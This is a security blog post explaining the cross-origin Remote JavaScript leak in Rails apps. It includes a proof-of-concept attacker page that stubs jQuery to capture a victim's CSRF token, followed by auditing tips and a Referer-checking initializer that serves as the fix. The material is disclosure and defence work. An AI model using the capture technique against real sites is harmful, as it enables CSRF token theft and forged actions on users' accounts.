(Note: this is a cross-post of an article I wrote for Metasploit’s blog. The original post can be found here.)
Several weeks ago, Egor Homakov wrote a blog post pointing out a common info leak vulnerability in many Rails apps that utilize Remote JavaScript. The attack vector and implications can be hard to wrap your head around, so in this post I’ll explain how the vulnerability occurs and how to exploit it.
What is Remote Javascript?
Remote JavaScript (RJS) was a pattern prescribed by Rails < 2 to implement dynamic web sites. In RJS the user-facing parts of a website (HTML and JS) act as a “dumb client” for the server: when dynamic action is needed, the client calls a JavaScript helper that sends a request to the server. The server then performs the necessary logic and generates and responds with JavaScript code, which is sent back to the client and eval()
‘d.
The RJS approach has some advantages, as rails creator dhh points out in a recent blog post. However, suffice it to say that RJS breaks down as soon as you need complex client-side code, and a server API that responds with UI-dependent JavaScript is not very reusable. So Rails mostly has moved away from the RJS approach (JSON APIs and client-heavy stacks are the new direction), but still supports RJS out of the box.
So what’s the problem?
Unfortunately, RJS is insecure by default. Imagine a developer on a Rails app that uses RJS is asked to make an Ajax-based login pop-up page. Following the RJS pattern, the developer would write some JavaScript that, when the “Login” link is clicked, asks the remote server what to do. The developer would add a controller action to the Rails app that responds with the JavaScript required to show the login form:
class Dashboard
def login_form
respond_to do |format|
format.js do
render :partial => 'show_login_form'
end
end
end
end
Following the RJS pattern, the show_login_form.js.erb
partial returns some JavaScript code to update the login form container:
$("#login").show().html("<%= escape_javascript(render :partial => 'login/form')")
Which, when rendered, produces code such as:
$("#login").show().html("
<form action='/login' method='POST'>
<input type='hidden' name='auth_token' value='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'>
<table>
<tr>
<td>Name</td>
<td><input type='text'></td>
</tr>
<tr>
<td>Password</td>
<td><input type='password'></td>
</tr>
</table>
</input>")
Now imagine user Tom is logged into the Rails app (which we’ll say is served from railsapp.com). An unrelated website attacker.com might serve Tom the following code:
<html>
<body>
<script src='https://railsapp.com/dashboard/login.js'></script>
</body>
</html>
Because <script>
tags are allowed to be cross-origin (this is useful for CDNs), Tom’s browser happily sends a GET
request to railsapp.com, attaching his railsapp.com cookie. The RJS script is generated and returned to Tom, and his browser executes it. By stubbing out the necessary functions in the global scope, attacker.com can easily gain access to the string of HTML that is sent back:
<html>
<body>
<script>
function $() {
return {
show: function() {
return {
html: function(str) {
alert(str);
}
};
}
};
}
</script>
<script src='http://railsapp.com/dashboard/login.js'></script>
</body>
</html>
And now attacker.com can easily parse out Tom’s CSRF auth token and start issuing malicious CSRF requests to railsapp.com. This means that attacker.com can submit any form in railsapp.com. The same technique can be used to leak other information besides auth token, including logged-in status, account name, etc.
As a pentester, how can I spot this bug while auditing a web app?
It is pretty easy to find this vulnerability. Click around a while in the web app and keep Web Inspector’s Network tab open. Look for .js requests sent sometime after a page load. Any response to a .js request that includes private info (auth token, user ID, existence of a login session) can be “hijacked” using an exploit similar to the above PoC.
How can I fix this in my web app?
The fix prescribed by Rails is to go through your code and add request.xhr? checks to every controller action that uses RJS. This is annoying, and is a big pain if you have a large existing code base that needs patching. Since Metasploit Pro was affected by the vulnerability, we needed a patch quick. So I present our solution to the vulnerability - we now check all .js requests to ensure that the REFERER header is present and correct. The only downside here is that your app will break for users behind proxies that strip referers. Additionally, this patch will not work for you if you plan on serving cross-domain JavaScript (e.g. for a hosted JavaScript SDK). If you can stomach that sacrifice, here is a Rails initializer that fixes the security hole. Drop it in ui/config/initializers
of your Rails app:
# This patch adds a before_filter to all controllers that prevents xdomain
# .js requests from being rendered successfully.
module RemoteJavascriptRefererCheck
extend ActiveSupport::Concern
included do
require 'uri'
before_filter :check_rjs_referer, :if => ->(controller) { controller.request.format.js? }
end
# prevent generated rjs scripts from being exfiltrated by remote sites
# see http://homakov.blogspot.com/2013/11/rjs-leaking-vulnerability-in-multiple.html
def check_rjs_referer
referer_uri = begin
URI.parse(request.env["HTTP_REFERER"])
rescue URI::InvalidURIError
nil
end
# if request comes from a cross domain document
if referer_uri.blank? or
(request.host.present? and referer_uri.host != request.host) or
(request.port.present? and referer_uri.port != request.port)
head :unauthorized
end
end
end
# shove the check into the base controller so it gets hit on every route
ApplicationController.class_eval do
include RemoteJavascriptRefererCheck
end
And your server will now return a 500 error to any RJS request that does not contain the correct REFERER. A gist is available here, just download and place in $RAILS_ROOT/config/initializers.